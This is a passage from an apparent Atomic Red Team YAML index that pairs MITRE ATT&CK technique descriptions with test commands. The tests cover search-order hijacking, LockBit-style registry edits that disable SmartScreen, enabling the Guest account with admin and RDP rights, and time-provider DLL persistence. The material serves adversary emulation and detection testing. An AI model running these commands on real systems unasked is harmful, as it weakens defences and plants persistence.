          sudo rm /tmp/T1543_004_atomicredteam.txt
  T1574.008:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: Path Interception by Search Order Hijacking'
      description: |-
        Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

        Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

        For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

        Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stefan Kanthak
      x_mitre_detection: |
        Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.

        Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'File: File Creation'
      x_mitre_effective_permissions:
      - Administrator
      - SYSTEM
      - User
      x_mitre_permissions_required:
      - Administrator
      - User
      - SYSTEM
      type: attack-pattern
      id: attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2
      created: '2020-03-13T17:48:58.999Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/008
        external_id: T1574.008
      - source_name: Microsoft CreateProcess
        description: Microsoft. (n.d.). CreateProcess function. Retrieved December
          5, 2014.
        url: http://msdn.microsoft.com/en-us/library/ms682425
      - source_name: Windows NT Command Shell
        description: Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved
          December 5, 2014.
        url: https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
      - source_name: Microsoft WinExec
        description: Microsoft. (n.d.). WinExec function. Retrieved December 5, 2014.
        url: http://msdn.microsoft.com/en-us/library/ms687393
      - source_name: Microsoft Environment Property
        description: Microsoft. (2011, October 24). Environment Property. Retrieved
          July 27, 2016.
        url: https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
      identifier: T1574.008
    atomic_tests:
    - name: powerShell Persistence via hijacking default modules - Get-Variable.exe
      auto_generated_guid: 1561de08-0b4b-498e-8261-e922f3494aae
      description: "Colibri leverages PowerShell in a unique way to maintain persistence
        after a reboot. Depending on the Windows version, Colibri drops its copy in
        %APPDATA%\\Local\\Microsoft\\WindowsApps and \nnames it Get-Variable.exe for
        Windows 10 and above.\nhttps://blog.malwarebytes.com/threat-intelligence/2022/04/colibri-loader-combines-task-scheduler-and-powershell-in-clever-persistence-technique/\n"
      supported_platforms:
      - windows
      executor:
        command: |
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:"$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" "PathToAtomicsFolder\T1574.008\bin\calc.cs"
          Powershell -noprofile
        cleanup_command: |
          Remove-Item "$env:localappdata\Microsoft\WindowsApps\Get-Variable.exe" -ErrorAction Ignore
          Stop-Process -Name "calculator"
        name: powershell
  T1484.001:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Domain Policy Modification: Group Policy Modification'
      description: "Adversaries may modify Group Policy Objects (GPOs) to subvert
        the intended discretionary access controls for a domain, usually with the
        intention of escalating privileges on the domain. Group policy allows for
        centralized management of user and computer settings in Active Directory (AD).
        GPOs are containers for group policy settings made up of files stored within
        a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation:
        TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike
        other objects in AD, GPOs have access controls associated with them. By default
        all user accounts in the domain have permission to read GPOs. It is possible
        to delegate GPO access control permissions, e.g. write access, to specific
        users or groups in the domain.\n\nMalicious GPO modifications can be used
        to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053),
        [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001),
        [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create
        Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),
        \ and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide
        to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends
        2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many
        user and machine settings in the AD environment, there are a great number
        of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide
        to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code>
        can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)
        by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation:
        Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases
        an adversary might modify specific user rights like SeEnableDelegationPrivilege,
        set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>,
        to achieve a subtle AD backdoor with complete control of the domain because
        the user account under the adversary's control would then be able to modify
        GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:

        * Event ID 5136 - A directory service object was modified
        * Event ID 5137 - A directory service object was created
        * Event ID 5138 - A directory service object was undeleted
        * Event ID 5139 - A directory service object was moved
        * Event ID 5141 - A directory service object was deleted


        GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704).
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.0'
      x_mitre_contributors:
      - Itamar Mizrahi, Cymptom
      - Tristan Bennett, Seamless Intelligence
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'Active Directory: Active Directory Object Deletion'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--5d2be8b9-d24c-4e98-83bf-2f5f79477163
      created: '2020-12-28T21:50:59.844Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1484/001
        external_id: T1484.001
      - source_name: Mandiant M Trends 2016
        description: Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved
          March 5, 2019.
        url: https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
      - source_name: ADSecurity GPO Persistence 2016
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
        url: https://adsecurity.org/?p=2716
      - source_name: Microsoft Hacking Team Breach
        description: 'Microsoft Secure Team. (2016, June 1). Hacking Team Breach:
          A Cyber Jurassic Park. Retrieved March 5, 2019.'
        url: https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/
      - source_name: Wald0 Guide to GPOs
        description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
          OUs. Retrieved March 5, 2019.
        url: https://wald0.com/?p=179
      - source_name: Harmj0y Abusing GPO Permissions
        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
          March 5, 2019.
        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
      - source_name: Harmj0y SeEnableDelegationPrivilege Right
        description: Schroeder, W. (2017, January 10). The Most Dangerous User Right
          You (Probably) Have Never Heard Of. Retrieved March 5, 2019.
        url: http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
      - source_name: TechNet Group Policy Basics
        description: 'srachui. (2012, February 13). Group Policy Basics – Part 1:
          Understanding the Structure of a Group Policy Object. Retrieved March 5,
          2019.'
        url: https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1484.001
    atomic_tests:
    - name: LockBit Black - Modify Group policy settings -cmd
      auto_generated_guid: 9ab80952-74ee-43da-a98c-1e740a985f28
      description: 'An adversary can modify the group policy settings.

        '
      supported_platforms:
      - windows
      executor:
        command: |
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /t REG_DWORD /d 0 /f
          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /t REG_SZ /d Block /f
        cleanup_command: |
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeDC /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffsetDC /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTime /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v GroupPolicyRefreshTimeOffset /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v EnableSmartScreen /f >nul 2>&1
          reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v ShellSmartScreenLevel /f >nul 2>&1
        name: command_prompt
        elevation_required: true
    - name: LockBit Black - Modify Group policy settings -Powershell
      auto_generated_guid: b51eae65-5441-4789-b8e8-64783c26c1d1
      description: 'An adversary modifies group policy settings

        '
      supported_platforms:
      - windows
      executor:
        command: |
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force
          New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\System" -Name ShellSmartScreenLevel -Force
        cleanup_command: "Remove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\"
          -Name GroupPolicyRefreshTimeDC -Force -ErrorAction Ignore\nRemove-ItemProperty
          \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC
          -Force -ErrorAction Ignore \nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\"
          -Name GroupPolicyRefreshTime -Force -ErrorAction Ignore\nRemove-ItemProperty
          \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset
          -Force -ErrorAction Ignore\nRemove-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\"
          -Name EnableSmartScreen -Force -ErrorAction Ignore\nRemove-ItemProperty
          \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel
          -Force -ErrorAction Ignore\n"
        name: powershell
        elevation_required: true
  T1078.001:
    technique:
      modified: '2024-03-07T14:27:04.770Z'
      name: 'Valid Accounts: Default Accounts'
      description: |-
        Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)

        Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      x_mitre_deprecated: false
      x_mitre_detection: Monitor whether default accounts have been activated or logged
        into. These audits should also include checks on any appliances and applications
        for default credentials or SSH keys, and if any are discovered, they should
        be updated immediately.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'User Account: User Account Authentication'
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d
      created: '2020-03-13T20:15:31.974Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1078/001
        external_id: T1078.001
      - source_name: AWS Root User
        description: Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.
        url: https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html
      - source_name: Microsoft Local Accounts Feb 2019
        description: Microsoft. (2018, December 9). Local Accounts. Retrieved February
          11, 2019.
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts
      - source_name: Metasploit SSH Module
        description: undefined. (n.d.). Retrieved April 12, 2019.
        url: https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh
      - source_name: Threat Matrix for Kubernetes
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1078.001
    atomic_tests:
    - name: Enable Guest account with RDP capability and admin privileges
      auto_generated_guid: 99747561-ed8d-47f2-9c91-1e5fde1ed6e0
      description: |
        After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
        and desktop will allow multiple RDP connections.
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: string
          default: guest
        guest_password:
          description: Specify the guest password
          type: string
          default: Password123!
        local_admin_group:
          description: Specify the admin localgroup name
          type: string
          default: Administrators
        remote_desktop_users_group_name:
          description: Specify the remote desktop users group name
          type: string
          default: Remote Desktop Users
        remove_rdp_access_during_cleanup:
          description: Set to 1 if you want the cleanup to remove RDP access to machine
          type: integer
          default: 0
      executor:
        command: |-
          net user #{guest_user} /active:yes
          net user #{guest_user} #{guest_password}
          net localgroup #{local_admin_group} #{guest_user} /add
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
          reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        cleanup_command: |-
          net user #{guest_user} /active:no >nul 2>&1
          net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
          net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
          if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /f >nul 2>&1)
          if #{remove_rdp_access_during_cleanup} EQU 1 (reg delete "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /f >nul 2>&1)
        name: command_prompt
        elevation_required: true
    - name: Activate Guest Account
      auto_generated_guid: aa6cb8c4-b582-4f8e-b677-37733914abda
      description: 'The Adversaries can activate the default Guest user. The guest
        account is inactivated by default

        '
      supported_platforms:
      - windows
      input_arguments:
        guest_user:
          description: Specify the guest account
          type: string
          default: guest
      executor:
        command: 'net user #{guest_user} /active:yes

          '
        cleanup_command: 'net user #{guest_user} /active:no

          '
        name: command_prompt
        elevation_required: true
    - name: Enable Guest Account on macOS
      auto_generated_guid: 0315bdff-4178-47e9-81e4-f31a6d23f7e4
      description: This test enables the guest account on macOS using sysadminctl
        utility.
      supported_platforms:
      - macos
      executor:
        command: sudo sysadminctl -guestAccount on
        cleanup_command: sudo sysadminctl -guestAccount off
        name: sh
        elevation_required: true
  T1547.003:
    technique:
      modified: '2024-04-12T02:34:58.003Z'
      name: Time Providers
      description: |-
        Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)

        Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)

        Adversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey  pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Scott Lundgren, @5twenty9, Carbon Black
      - Harun Küßner
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code> as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)

        The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - SYSTEM
      - Administrator
      type: attack-pattern
      id: attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc
      created: '2020-01-24T15:51:52.317Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1547/003
        external_id: T1547.003
      - source_name: Github W32Time Oct 2017
        description: Lundgren, S. (2017, October 28). w32time. Retrieved March 26,
          2018.
        url: https://github.com/scottlundgren/w32time
      - source_name: Microsoft W32Time May 2017
        description: Mathers, B. (2017, May 31). Windows Time Service Tools and Settings.
          Retrieved March 26, 2018.
        url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings
      - source_name: Microsoft W32Time Feb 2018
        description: Microsoft. (2018, February 1). Windows Time Service (W32Time).
          Retrieved March 26, 2018.
        url: https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top
      - source_name: Microsoft TimeProvider
        description: Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.
        url: https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx
      - source_name: TechNet Autoruns
        description: Russinovich, M. (2016, January 4). Autoruns for Windows v13.51.
          Retrieved June 6, 2016.
        url: https://technet.microsoft.com/en-us/sysinternals/bb963902
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.003
    atomic_tests:
    - name: Create a new time provider
      auto_generated_guid: df1efab7-bc6d-4b88-8be9-91f55ae017aa
      description: |
        Establishes persistence by creating a new time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
        The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
        in C:\Users\Public\ as validation that the test is successful.

        Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
      supported_platforms:
      - windows
      executor:
        command: |
          net stop w32time
          Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "Enabled" /d "1" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /t REG_DWORD /v "InputProvider" /d "1" /f
          net start w32time
        cleanup_command: |
          net stop w32time
          reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\AtomicTest" /f
          rm -force C:\Users\Public\AtomicTest.dll
          net start w32time
        name: powershell
        elevation_required: true
    - name: Edit an existing time provider
      auto_generated_guid: 29e0afca-8d1d-471a-8d34-25512fc48315
      description: |
        Establishes persistence by editing the NtpServer time provider registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider.
        The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt
        in C:\Users\Public\ as validation that the test is successful.

        Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/
      supported_platforms:
      - windows
      executor:
        command: |
          net stop w32time
          Copy-Item "$PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll" C:\Users\Public\AtomicTest.dll
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Users\Public\AtomicTest.dll" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "1" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "1" /f
          net start w32time
        cleanup_command: |
          net stop w32time
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_SZ /v "DllName" /d "C:\Windows\SYSTEM32\w32time.DLL" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "Enabled" /d "0" /f
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer" /t REG_DWORD /v "InputProvider" /d "0" /f
          rm -force C:\Users\Public\AtomicTest.dll
          net start w32time
        name: powershell
        elevation_required: true
  T1546.005:
    technique:
      x_mitre_platforms:
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--63220765-d418-44de-8fae-694b3912317d
      type: attack-pattern
      created: '2020-01-24T14:17:43.906Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.005
        url: https://attack.mitre.org/techniques/T1546/005
      - source_name: Trap Manual
        url: https://ss64.com/bash/trap.html
        description: ss64. (n.d.). trap. Retrieved May 21, 2019.
      - source_name: Cyberciti Trap Statements
        url: https://bash.cyberciti.biz/guide/Trap_statement
        description: Cyberciti. (2016, March 29). Trap statement. Retrieved May 21,
          2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Event Triggered Execution: Trap'
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>.

        Adversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: Trap commands must be registered for the shell or programs,
        so they appear in files. Monitoring files for suspicious or overly broad trap
        commands can narrow down suspicious behavior during an investigation. Monitor
        for suspicious processes executed through trap interrupts.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.005
    atomic_tests:
    - name: Trap EXIT
      auto_generated_guid: a74b2e07-5952-4c03-8b56-56274b076b61
      description: |
        Launch bash shell with command arg to create TRAP on EXIT.
        The trap executes script that writes to /tmp/art-fish.txt
      supported_platforms:
      - macos
      - linux
      executor:
        command: 'bash -c ''trap "nohup sh $PathToAtomicsFolder/T1546.005/src/echo-art-fish.sh"
